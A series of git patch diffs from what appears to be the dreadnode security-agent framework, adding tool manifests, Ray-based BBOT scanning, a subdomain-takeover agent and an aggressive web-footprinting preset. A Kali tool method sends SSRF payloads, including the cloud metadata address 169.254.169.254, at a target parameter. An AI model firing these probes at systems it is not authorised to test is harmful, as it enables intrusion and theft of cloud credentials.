-> ToolManifest: + ext = path.suffix.lower() + if ext not in SUPPORTED: + raise ValueError(f"Unsupported manifest extension: {ext}") + data: dict[str, Any] + if ext in {".yaml", ".yml"}: + data = yaml.safe_load(path.read_text(encoding="utf-8")) diff --git a/dreadnode/agent/tools/manifest.py b/dreadnode/agent/tools/manifest.py new file mode 100644 index 00000000..c9cc6cf2 --- /dev/null +++ b/dreadnode/agent/tools/manifest.py @@ -0,0 +1,129 @@ +import platform +import sys +from typing import Any, Literal + +from packaging import version +from packaging.markers import Marker +from packaging.specifiers import SpecifierSet +from pydantic import BaseModel, ConfigDict, Field, field_validator + + +class EntryPoint(BaseModel): + module: str + qualname: str | None = None + factory: str | None = None + kwargs: dict[str, Any] = Field(default_factory=dict) + + +class Capabilities(BaseModel): + consumes: list[str] = Field(default_factory=list) + produces: list[str] = Field(default_factory=list) + flags: list[str] = Field(default_factory=list) + variants: list[str] = Field(default_factory=list) + + +class PythonReq(BaseModel): + min: str | None = None + packages: list[str] = Field(default_factory=list) + + +class SystemReq(BaseModel): + apt: list[str] = Field(default_factory=list) + brew: list[str] = Field(default_factory=list) + choco: list[str] = Field(default_factory=list) + + +class BinaryReq(BaseModel): + name: str + optional: bool = False + + +class Requirements(BaseModel): + python: PythonReq = Field(default_factory=PythonReq) + system: SystemReq = Field(default_factory=SystemReq) + binaries: list[BinaryReq] = Field(default_factory=list) + + +class InstallSpec(BaseModel): + strategy: Literal["inproc", "uv-venv", "subprocess", "ray-actor"] = "inproc" + venv_name: str | None = None + preinstall: list[str] = Field(default_factory=list) + postinstall: list[str] = Field(default_factory=list) + + +class Compatibility(BaseModel): + requires_core: str | None = None + platforms: list[str] = Field(default_factory=list) + markers: str | None = None # PEP 508 string + + def satisfied(self, *, core_version: str) -> bool: + if self.requires_core: + if version.parse(core_version) not in SpecifierSet(self.requires_core): + return False + if self.platforms: + cur = sys.platform + plat = platform.system().lower() + if cur.startswith("linux"): + cur_norm = "linux" + elif cur.startswith("win"): + cur_norm = "windows" + elif cur.startswith("darwin"): + cur_norm = "darwin" + else: + cur_norm = plat or cur + if cur_norm not in {p.lower() for p in self.platforms}: + return False + if self.markers: + try: + if not Marker(self.markers).evaluate(): + return False + except Exception: + return False + return True + + +class Permissions(BaseModel): + network: bool = True + filesystem: list[str] = Field(default_factory=list) + subprocess: list[str] = Field(default_factory=list) + + +class ConfigSchema(BaseModel): + # Minimal JSON‑Schema subset + properties: dict[str, dict[str, Any]] = Field(default_factory=dict) + required: list[str] = Field(default_factory=list) + + def defaults(self) -> dict[str, Any]: + out: dict[str, Any] = {} + for k, spec in self.properties.items(): + if "default" in spec: + out[k] = spec["default"] + return out + + +class ToolManifest(BaseModel): + model_config = ConfigDict(extra="ignore") + + manifest_version: Literal[1] = 1 + id: str + name: str + version: str + description: str | None = None + author: str | None = None + license: str | None = None + + entrypoint: EntryPoint + capabilities: Capabilities = Field(default_factory=Capabilities) + config_schema: ConfigSchema = Field(default_factory=ConfigSchema) + requirements: Requirements = Field(default_factory=Requirements) + install: InstallSpec = Field(default_factory=InstallSpec) + compatibility: Compatibility = Field(default_factory=Compatibility) + permissions: Permissions = Field(default_factory=Permissions) + metadata: dict[str, Any] = Field(default_factory=dict) + + @field_validator("id") + @classmethod + def _id_nonempty(cls, v: str) -> str: + if not v or ":" in v or " " in v: + raise ValueError("id must be a simple, colon/space‑free string") + return v diff --git a/dreadnode/agent/tools/registry.py b/dreadnode/agent/tools/registry.py new file mode 100644 index 00000000..e16d5b0f --- /dev/null +++ b/dreadnode/agent/tools/registry.py @@ -0,0 +1,86 @@ +import importlib.metadata as md +from collections.abc import Iterable +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from .loader import SUPPORTED, load_manifest_file +from .manifest import ToolManifest + + +@dataclass(frozen=True) +class Discovered: + id: str + manifest: ToolManifest + source: str + distribution: str | None = None + + +class ManifestRegistry: + def __init__(self) -> None: + self._by_id: dict[str, Discovered] = {} + + # ----- discovery ----- + def _raise_invalid_manifest_type(self, result: Any) -> None: + raise TypeError("manifest entry point must return dict or path-like") + + def discover_entrypoints(self, group: str = "dreadnode.manifest") -> list[Discovered]: + found: list[Discovered] = [] + eps = md.entry_points(group=group) + for ep in eps: + try: + obj = ep.load() + result = obj() if callable(obj) else obj + data: dict[str, Any] + + if isinstance(result, dict): + data = result + elif isinstance(result, (str, Path)): + data = load_manifest_file(Path(result)).model_dump(mode="python") + else: + self._raise_invalid_manifest_type(result) + manifest = ToolManifest.model_validate(data) + d = Discovered( + id=manifest.id, + manifest=manifest, + source=f"entrypoint:{ep.dist.name}", + distribution=ep.dist.name, + ) + found.append(d) + except Exception as e: # robust discovery; log and continue + print(f"[registry] skip entrypoint {ep!r}: {e}") + return found + + def discover_paths(self, paths: Iterable[Path]) -> list[Discovered]: + found: list[Discovered] = [] + for root in paths: + for p in root.rglob("*"): + if ( + p.is_file() + and p.suffix.lower() in SUPPORTED + and p.stem in {"tool", "manifest", "tool.manifest"} + ): + try: + m = load_manifest_file(p) + found.append(Discovered(id=m.id, manifest=m, source=f"path:{p}")) + except Exception as e: + print(f"[registry] skip {p}: {e}") + return found + + def load_all(self, *, entrypoints: bool = True, extra_paths: list[Path] | None = None) -> None: + if entrypoints: + for d in self.discover_entrypoints(): + self._by_id[d.id] = d + if extra_paths: + for d in self.discover_paths(extra_paths): + self._by_id[d.id] = d + + # ----- access ----- + def ids(self) -> list[str]: + return sorted(self._by_id.keys()) + + def get(self, tool_id: str) -> ToolManifest: + return self._by_id[tool_id].manifest + + def items(self) -> list[Discovered]: + return list(self._by_id.values()) diff --git a/dreadnode/artifact/storage.py b/dreadnode/artifact/storage.py index 047b7c36..907b7d56 100644 --- a/dreadnode/artifact/storage.py +++ b/dreadnode/artifact/storage.py @@ -48,9 +48,9 @@ def store_operation() -> str: if not filesystem.exists(target_key): filesystem.put(str(file_path), target_key) - logger.info("Artifact successfully stored at %s", target_key) + logger.info(f"Artifact successfully stored at {target_key}") else: - logger.info("Artifact already exists at %s, skipping upload.", target_key) + logger.info(f"Artifact already exists at {target_key}, skipping upload.") return str(filesystem.unstrip_protocol(target_key)) @@ -83,7 +83,7 @@ def batch_upload_operation() -> list[str]: if srcs: filesystem.put(srcs, dsts) - logger.info("Batch upload completed for %d files", len(srcs)) + logger.info(f"Batch upload completed for {len(srcs)} files") else: logger.info("All files already exist, skipping upload") diff --git a/dreadnode/artifact/tree_builder.py b/dreadnode/artifact/tree_builder.py index 1e4e1188..df3b9ba4 100644 --- a/dreadnode/artifact/tree_builder.py +++ b/dreadnode/artifact/tree_builder.py @@ -103,7 +103,7 @@ def _process_directory(self, dir_path: Path) -> DirectoryNode: Returns: DirectoryNode: A hierarchical tree structure representing the directory and its contents. """ - logger.debug("Processing directory: %s", dir_path) + logger.debug(f"Processing directory: {dir_path}") all_files: list[Path] = [] for root, _, files in os.walk(dir_path): @@ -157,7 +157,7 @@ def _process_directory(self, dir_path: Path) -> DirectoryNode: file_hash_cache[file_hash] = file_node if source_paths: - logger.debug("Uploading %d files in batch", len(source_paths)) + logger.debug(f"Uploading {len(source_paths)} files in batch") uris = self.storage.batch_upload_files(source_paths, target_paths) # Update file nodes with URIs @@ -268,7 +268,7 @@ def _build_tree_structure( rel_path = file_path.relative_to(base_dir) parts = rel_path.parts except ValueError: - logger.debug("File %s is not relative to base directory %s", file_path, base_dir) + logger.debug(f"File {file_path} is not relative to base directory {base_dir}") continue # File in the root directory diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index 95f3322a..5d05445b 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,9 +1,11 @@ from pathlib import Path +import ray from cyclopts import App +from ray import serve +from ray.actor import ActorClass from rich.console import Console -import dreadnode as dn from dreadnode.agent.tools.bbot.tool import BBotTool console = Console() @@ -13,31 +15,27 @@ @app.command async def modules() -> None: - tool = await BBotTool.create() - tool.get_modules() + BBotTool.get_modules() @app.command -async def presets() -> None: - tool = await BBotTool.create() - tool.get_presets() +def presets() -> None: + BBotTool.get_presets() @app.command async def flags() -> None: - tool = await BBotTool.create() - tool.get_flags() + BBotTool.get_flags() @app.command async def events() -> None: - tool = await BBotTool.create() - tool.get_events() + BBotTool.get_events() @app.command async def scan( - targets: Path | None = None, + targets: Path, presets: list[str] | None = None, modules: list[str] | None = None, flags: list[str] | None = None, @@ -45,48 +43,107 @@ async def scan( ) -> None: if isinstance(targets, Path): with Path.open(targets) as f: - loaded_targets = f.readlines() + loaded_targets = f.read().splitlines() if not targets: console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return - tool = await BBotTool.create( - targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config - ) + ray.init(address="auto") - dn.configure(server="https://platform.dreadnode.io", project="bount-rea") + scan_futures = [] - with dn.run(tool.scan.name, tags=presets): - dn.log_params( - targets=loaded_targets, - presets=presets, - modules=modules, - flags=flags, - config=config, - scan=tool.scan.id, + ActorDemoRay: ActorClass[BBotTool] = ray.remote(BBotTool) + BBotApplication = serve.deployment(BBotTool, name="BBotService", num_replicas=1) + + app = BBotApplication.bind() + serve.run(app, name="BBotService", route_prefix="/bbot") + + handle = serve.get_deployment("BBotService").get_handle() + + for target in loaded_targets: + if not target: + continue + + result_generator_ref = await handle.run.remote(target=target, presets=["web-screenshots"]) + + # Create an actor instance specifically for this one target + actor = ActorDemoRay.remote( + targets=[target], # Pass the target in a list + presets=presets or [], + modules=modules or [], + flags=flags or [], + config={}, ) - events = tool.run() - - async for event in events: - console.print(event) - with dn.task_span(event.type): - dn.log_output("event", event.json(siem_friendly=True)) - dn.log_metric(event.type, 1, mode="count", to="run") - # Add your agents here to process events - if event.type == "WEBSCREENSHOT": - image_path = f"{tool.scan.core.scans_dir}/{tool.scan.name}/{event.data['path']}" - console.print(event.json()) - console.print( - f"[bold green]Web Screenshot saved to:[/bold green] {event.data['path']}" - ) - dn.log_output( - "webscreenshot", - dn.Image(image_path), - ) - dn.log_artifact(image_path) - # await agent.run(...) + scan_futures.append(actor.run.remote()) + + console.print(f"[*] Starting BBOT scan on {len(loaded_targets)} targets...") + + while scan_futures: + done, scan_futures = ray.wait(scan_futures, num_returns=1) + actor = done[0] + + result_generator = ray.get(done[0]) + + async for event in result_generator: + console.print(await event) + + +console.print("[*] Scan complete.") + +# tool = await BBotTool.create( +# targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config +# ) + +# dn.configure(server="https://platform.dreadnode.io", project="bount-rea-2") + +# with dn.run(tool.scan.name, tags=presets): +# for i, j in enumerate(loaded_targets): +# dn.log_param(f"target_{i}", j.strip()) + +# for p in presets: +# dn.log_param("preset", p) + +# dn.log_param( +# # targets=loaded_targets, +# # presets=presets, +# # modules=modules, +# # flags=flags, +# # config=config, +# "scan", +# tool.scan.id, +# ) + +# events = tool.run() + +# async for event in events: +# with dn.task_span(event.type): +# df = pd.json_normalize(event.json()).set_index("type") +# log = event.json(siem_friendly=True) +# log2 = event.json() +# console.print(df) +# dn.log_output("event", log) +# dn.log_output("event-siem", log2) +# dn.log_outputs(log) +# dn.log_outputs(log2) + +# dn.log_metric(event.type, 1, mode="count", to="run") +# # Add your agents here to process events +# if event.type == "WEBSCREENSHOT": +# console.print(df) + +# image_path = f"{tool.scan.core.scans_dir}/{tool.scan.name}/{event.data['path']}" +# console.print(event.json()) +# console.print( +# f"[bold green]Web Screenshot saved to:[/bold green] {event.data['path']}" +# ) +# dn.log_output( +# "webscreenshot", +# dn.Image(image_path), +# ) +# dn.log_artifact(image_path) +# # await agent.run(...) # Usage diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index bb3a6dfd..ddf9c7f9 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -175,30 +175,6 @@ def display_analysis_result_from_task(analysis_result: dict, debug: bool = False ) -async def modules() -> None: - """List available BBOT modules.""" - tool = await BBotTool.create() - tool.get_modules() - - -async def presets() -> None: - """List available BBOT presets.""" - tool = await BBotTool.create() - tool.get_presets() - - -async def flags() -> None: - """List available BBOT flags.""" - tool = await BBotTool.create() - tool.get_flags() - - -async def events() -> None: - """List available BBOT event types.""" - tool = await BBotTool.create() - tool.get_events() - - async def hunt( targets: Path | None = None, presets: list[str] | None = None, diff --git a/poetry.lock b/poetry.lock index 199492e7..3a2179a1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -5583,6 +5583,21 @@ typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\"" [package.extras] full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] +[[package]] +name = "tabulate" +version = "0.9.0" +description = "Pretty-print tabular data" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, + {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, +] + +[package.extras] +widechars = ["wcwidth"] + [[package]] name = "taskgroup" version = "0.2.2" @@ -6872,4 +6887,4 @@ training = ["transformers"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<3.14" -content-hash = "62c5a445f8962a31a3e44f66453386ae81ed2af67dc9c2e7461996911ca3f3d2" +content-hash = "92cacf55982a4f055b1a185546260d51a78b1225b5c5247230f12c1ff24f46a6" diff --git a/pyproject.toml b/pyproject.toml index ae759aea..e182eb99 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -33,6 +33,7 @@ moviepy = { version = "^2.1.2", optional = true } pillow = { version = "^11.2.1", optional = true } presidio-analyzer = "^2.2.359" ray = {extras = ["serve"], version = "^2.48.0"} +tabulate = "^0.9.0" [tool.poetry.extras] From 50ab288a94b5bb187bba77d27aaa11ffae6cf564 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 1 Sep 2025 07:15:17 -0600 Subject: [PATCH 44/60] bbot as deployment --- dreadnode/agent/tools/bbot/dispatcher.py | 35 ------------- dreadnode/agent/tools/bbot/tool.py | 6 +-- examples/agents/bbot/agent.py | 65 ++++++++++-------------- 3 files changed, 30 insertions(+), 76 deletions(-) delete mode 100644 dreadnode/agent/tools/bbot/dispatcher.py diff --git a/dreadnode/agent/tools/bbot/dispatcher.py b/dreadnode/agent/tools/bbot/dispatcher.py deleted file mode 100644 index f759cd59..00000000 --- a/dreadnode/agent/tools/bbot/dispatcher.py +++ /dev/null @@ -1,35 +0,0 @@ -import traceback -import typing as t - -from loguru import logger - -if t.TYPE_CHECKING: - from bbot import Scanner - - -class Dispatcher: - """ - Enables custom hooks/callbacks on certain scan events - """ - - def set_scan(self, scan: "Scanner"): - self.scan = scan - - async def on_start(self, scan: "Scanner"): - logger.info(f"Scan started with ID: {scan.id}") - - async def on_finish(self, scan: "Scanner"): - logger.info(f"Scan finished with ID: {scan.id}") - - async def on_status(self, status, scan_id): - """ - Execute an event when the scan's status is updated - """ - logger.debug(f"Setting scan ({scan_id}) status to {status}") - - async def catch(self, callback, *args, **kwargs): - try: - return await callback(*args, **kwargs) - except Exception as e: - logger(f"Error in {callback.__qualname__}(): {e}") - logger(traceback.format_exc()) diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index d3918e5b..894c9724 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,7 +1,7 @@ import typing as t from bbot import Preset, Scanner -from pydantic import BaseModel, Field, PrivateAttr +from pydantic import BaseModel, Field from rich.console import Console from dreadnode.agent.tools.base import Toolset @@ -27,8 +27,6 @@ class BBotArgs(BaseModel): class BBotTool(Toolset): - _scan: Scanner | None = PrivateAttr(default=None) - @staticmethod def get_presets() -> None: """Return the presets available in the BBOT Agent.""" @@ -96,7 +94,7 @@ async def _run_scan(self, args: BBotArgs) -> t.AsyncGenerator[t.Any, None]: raise ValueError("At least one target is required to run a scan.") self._scan = Scanner( - *args.target, + *[args.target], modules=args.modules, presets=args.presets, flags=args.flags, diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index 5d05445b..64fedaca 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,9 +1,9 @@ +import asyncio from pathlib import Path import ray from cyclopts import App from ray import serve -from ray.actor import ActorClass from rich.console import Console from dreadnode.agent.tools.bbot.tool import BBotTool @@ -49,48 +49,39 @@ async def scan( console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return - ray.init(address="auto") - - scan_futures = [] - - ActorDemoRay: ActorClass[BBotTool] = ray.remote(BBotTool) - BBotApplication = serve.deployment(BBotTool, name="BBotService", num_replicas=1) - - app = BBotApplication.bind() - serve.run(app, name="BBotService", route_prefix="/bbot") - - handle = serve.get_deployment("BBotService").get_handle() - - for target in loaded_targets: - if not target: - continue - - result_generator_ref = await handle.run.remote(target=target, presets=["web-screenshots"]) - - # Create an actor instance specifically for this one target - actor = ActorDemoRay.remote( - targets=[target], # Pass the target in a list - presets=presets or [], - modules=modules or [], - flags=flags or [], - config={}, - ) - - scan_futures.append(actor.run.remote()) + ray.init(address="auto", namespace="bbot-scan-app") + + BBotApplication = serve.deployment( + BBotTool, name="BBotService", num_replicas=2, max_queued_requests=-1 + ) + + serve.run(BBotApplication.bind(), name="BBotApp", route_prefix="/bbot") + handle = serve.get_deployment_handle(deployment_name="BBotService", app_name="BBotApp").options( + stream=True + ) + + async def _process_single_target(target: str) -> None: + try: + result_generator_ref = handle.run.remote( + target=target, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + async for event in result_generator_ref: + console.print(f"[bold blue]>{target}:[/bold blue] {event}") + except Exception as e: + console.print(f"[bold red]ERROR processing {target}:[/bold red] {e}") console.print(f"[*] Starting BBOT scan on {len(loaded_targets)} targets...") - while scan_futures: - done, scan_futures = ray.wait(scan_futures, num_returns=1) - actor = done[0] - - result_generator = ray.get(done[0]) + tasks = [asyncio.create_task(_process_single_target(target)) for target in loaded_targets] - async for event in result_generator: - console.print(await event) + await asyncio.gather(*tasks) + console.print("\n[*] All scans complete.") -console.print("[*] Scan complete.") # tool = await BBotTool.create( # targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config From 950efad53c6dad3f83545715ea42946e9f372b00 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Mon, 1 Sep 2025 14:50:11 -0400 Subject: [PATCH 45/60] fix: subdomain takeover agent - replace BBOT discovery with direct analysis and fix instantiation errors --- examples/agents/subdomain_takeover/agent.py | 198 +++++++++++--------- 1 file changed, 107 insertions(+), 91 deletions(-) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index ddf9c7f9..58f4ca38 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -14,7 +14,45 @@ from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool +# Import necessary components for Pydantic dataclass fix +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +# Rebuild dataclasses after all imports are complete +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + # Configure Dreadnode +dn.configure(server=None, token=None, project="subdomain-takeover-agent", console=False) + console = Console() @@ -215,108 +253,66 @@ async def hunt( console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") - tool = await BBotTool.create() - events = tool.run( - targets=targets, - presets=presets, - modules=modules, - flags=flags, - config=config, - ) - # Track metrics at task level analyzed_count = 0 findings_count = 0 findings = [] - async for event in events: - console.print(event) + # Analyze each subdomain directly (since we already have a list of subdomains) + for subdomain in targets: + try: + console.print(f"Analyzing subdomain: {subdomain}") - # Analyze DNS_NAME events for takeover vulnerabilities - if event.type == "DNS_NAME": - try: - subdomain = str(event.data) - console.print(f"Analyzing subdomain: {subdomain}") + analysis_result = await analyze_subdomain(subdomain) - analysis_result = await analyze_subdomain(subdomain) + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") + console.print(f"\nAnalysis for {subdomain}:") + console.print(analysis_result["analysis"]) + console.print( + f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" + ) - console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") - console.print(f"\nAnalysis for {subdomain}:") - console.print(analysis_result["analysis"]) - console.print( - f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" - ) + analyzed_count += 1 + dn.log_metric("subdomains_analyzed", analyzed_count) - analyzed_count += 1 - dn.log_metric("subdomains_analyzed", analyzed_count) + finding_stored = ( + "store_subdomain_takeover_finding" in analysis_result["tools_used"] + ) - finding_stored = ( - "store_subdomain_takeover_finding" in analysis_result["tools_used"] + if finding_stored or ( + analysis_result["analysis"] + and any( + phrase in analysis_result["analysis"].lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] ) - - if finding_stored or ( - analysis_result["analysis"] - and any( - phrase in analysis_result["analysis"].lower() - for phrase in [ - "potential takeover", - "subdomain takeover vulnerability", - "takeover vulnerability", - "vulnerable to takeover", - "dangling cname", - "unclaimed resource", - "takeover indicator", - "successful subdomain takeover", - ] - ) - ): - findings_count += 1 - dn.log_metric("findings_found", findings_count) - - security_finding = { - "subdomain": subdomain, - "finding_type": "subdomain_takeover", - "risk_level": "high", - "analysis": analysis_result["analysis"], - "tool_outputs": analysis_result["tool_outputs"], - "steps": analysis_result["steps"], - "timestamp": time.time(), - "stored_in_db": finding_stored, - } - findings.append(security_finding) - dn.log_output(f"finding_{subdomain}", security_finding) - - except Exception as e: - console.print(f"Error analyzing subdomain: {e}") - - # Analyze FINDING events for takeover indicators - elif event.type == "FINDING" and any( - keyword in str(event.data).lower() for keyword in ["takeover", "dangling", "cname"] - ): - try: - console.print(f"BBOT finding: {event.data}") - - # Extract domains from finding - domain_pattern = r"([a-zA-Z0-9]([a-zA-Z0-9-]{1,61})?[a-zA-Z0-9]\.)+[a-zA-Z]{2,}" - domains = re.findall(domain_pattern, str(event.data)) - - if domains: - domain = domains[0][0] if isinstance(domains[0], tuple) else domains[0] - console.print(f"Validating extracted domain: {domain}") - - takeover_agent = create_takeover_agent() - result = await takeover_agent.run( - f"Validate the potential subdomain takeover for '{domain}'. " - f"Determine if this is a genuine vulnerability." - ) - - display_analysis_result(result, domain) - analyzed_count += 1 - else: - console.print("No domain extracted from finding") - - except Exception as e: - console.print(f"Error validating finding: {e}") + ): + findings_count += 1 + dn.log_metric("findings_found", findings_count) + + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], + "timestamp": time.time(), + "stored_in_db": finding_stored, + } + findings.append(security_finding) + dn.log_output(f"finding_{subdomain}", security_finding) + + except Exception as e: + console.print(f"Error analyzing subdomain: {e}") dn.log_metric("subdomains_analyzed", analyzed_count) dn.log_metric("findings_found", findings_count) @@ -336,6 +332,26 @@ async def hunt( console.print(f" Security findings: {findings_count}") +async def modules() -> None: + """List available BBOT modules.""" + BBotTool.get_modules() + + +async def presets() -> None: + """List available BBOT presets.""" + BBotTool.get_presets() + + +async def flags() -> None: + """List available BBOT flags.""" + BBotTool.get_flags() + + +async def events() -> None: + """List available BBOT event types.""" + BBotTool.get_events() + + async def validate(subdomain: str, debug: bool = False) -> None: """Validate a specific subdomain for takeover vulnerability.""" From de98ac9a4deb989b8b1569133fd7325cce9d18f0 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Tue, 2 Sep 2025 12:53:43 -0400 Subject: [PATCH 46/60] chore: custom footprint module --- .../bbot/custom/presets/web/footprint.yml | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml diff --git a/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml b/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml new file mode 100644 index 00000000..29f0bdb6 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/presets/web/footprint.yml @@ -0,0 +1,40 @@ +description: Surface as much web footprint as possible + +# Usage +# uv run python examples/agents/bbot/agent.py presets +# uv run python examples/agents/bbot/agent.py scan --targets /path/to/file.txt --presets custom_footprint + +include: + - spider-intense + - nuclei-intense + - dirbust-heavy + +modules: + +config: + modules: + ffuf: + depth: 3 + lines: 5000 + extensions: + - php + - asp + - aspx + - ashx + - asmx + - jsp + - jspx + - cfm + - zip + - conf + - config + - xml + - json + - yml + - yaml + # emit URLs from wayback + wayback: + urls: True + +flags: + - web-paramminer \ No newline at end of file From 027d997c5ddb9c23e5dab1fe15e9f2f33f883141 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Wed, 3 Sep 2025 13:39:04 -0400 Subject: [PATCH 47/60] feat: basic ssrf agent with curl requests kali tools --- dreadnode/agent/tools/kali/tool.py | 302 +++++++++++++++++++++ dreadnode/agent/tools/neo4j/tool.py | 65 +++++ examples/agents/ssrf_hunter/agent.py | 375 +++++++++++++++++++++++++++ 3 files changed, 742 insertions(+) create mode 100644 examples/agents/ssrf_hunter/agent.py diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index b43d2af1..f5c2b41f 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -1,7 +1,9 @@ import os import subprocess import tempfile +import time +import requests from loguru import logger from dreadnode.agent.tools import Toolset, tool_method @@ -914,6 +916,306 @@ def check_subdomain_takeover( command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) return command_log + "\n\nResults:\n" + "\n".join(results) + @tool_method() + def test_ssrf_vulnerability( + self, + url: str, + parameter: str, + original_value: str = "", + ) -> str: + """ + Test a URL parameter for SSRF vulnerability by trying various payloads. + + Args: + url: Target URL containing the vulnerable parameter + parameter: Parameter name to test + original_value: Original parameter value for comparison + + Returns: + SSRF test results comparing different payloads + + Example: + >>> result = test_ssrf_vulnerability("https://target.com/api?data=value", "data", "original") + """ + + results = [] + executed_commands = [] + + # Test payloads for SSRF + payloads = [ + ("localhost", "http://127.0.0.1"), + ("internal-ip", "http://192.168.1.1"), + ("cloud-metadata", "http://169.254.169.254/latest/meta-data/"), + ("external-control", "http://httpbin.org/get"), + ] + + # Test original request first if we have original value + if original_value: + try: + if '?' in url: + test_url = f"{url}&{parameter}={original_value}" + else: + test_url = f"{url}?{parameter}={original_value}" + + curl_cmd = f"curl -s -w '%{{http_code}}|%{{time_total}}' --max-time 10 '{test_url}'" + executed_commands.append(curl_cmd) + + import requests + response = requests.get(test_url, timeout=10, allow_redirects=False) + results.append(f"Original request: HTTP {response.status_code}, Length: {len(response.text)}") + + except Exception as e: + results.append(f"Original request failed: {e}") + + # Test SSRF payloads + for payload_name, payload_value in payloads: + try: + # URL encode the payload + import urllib.parse + encoded_payload = urllib.parse.quote(payload_value, safe='') + + if '?' in url: + test_url = f"{url}&{parameter}={encoded_payload}" + else: + test_url = f"{url}?{parameter}={encoded_payload}" + + curl_cmd = f"curl -s -w '%{{http_code}}|%{{time_total}}' --max-time 10 '{test_url}'" + executed_commands.append(curl_cmd) + + import requests + import time + start_time = time.time() + response = requests.get(test_url, timeout=10, allow_redirects=False) + response_time = time.time() - start_time + + # Check for SSRF indicators + indicators = [] + if response.status_code != 200: + indicators.append(f"status_{response.status_code}") + if response_time > 5: + indicators.append("slow_response") + if any(keyword in response.text.lower() for keyword in ['connection refused', 'timeout', 'internal']): + indicators.append("error_messages") + if len(response.text) < 100: + indicators.append("short_response") + + indicator_str = f" [{', '.join(indicators)}]" if indicators else "" + results.append(f"{payload_name}: HTTP {response.status_code}, Time: {response_time:.2f}s, Length: {len(response.text)}{indicator_str}") + + except requests.exceptions.Timeout: + results.append(f"{payload_name}: TIMEOUT (potential SSRF indicator)") + except requests.exceptions.ConnectionError as e: + results.append(f"{payload_name}: CONNECTION_ERROR - {str(e)[:100]}") + except Exception as e: + results.append(f"{payload_name}: ERROR - {str(e)[:100]}") + + logger.info(f"[*] SSRF vulnerability test completed for {url}") + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) + + @tool_method() + def http_request( + self, + url: str, + method: str = "GET", + headers: dict[str, str] | None = None, + timeout: int = 10, + follow_redirects: bool = False, + max_response_size: int = 5000, + ) -> str: + """ + Make an HTTP request and return detailed response information. + + Args: + url: Target URL to request + method: HTTP method (GET, POST, PUT, etc.) + headers: Optional HTTP headers to send + timeout: Request timeout in seconds + follow_redirects: Whether to follow HTTP redirects + max_response_size: Maximum response size to capture (chars) + + Returns: + Detailed HTTP response information including status, headers, timing, and content + + Example: + >>> result = http_request("https://httpbin.org/get") + >>> result = 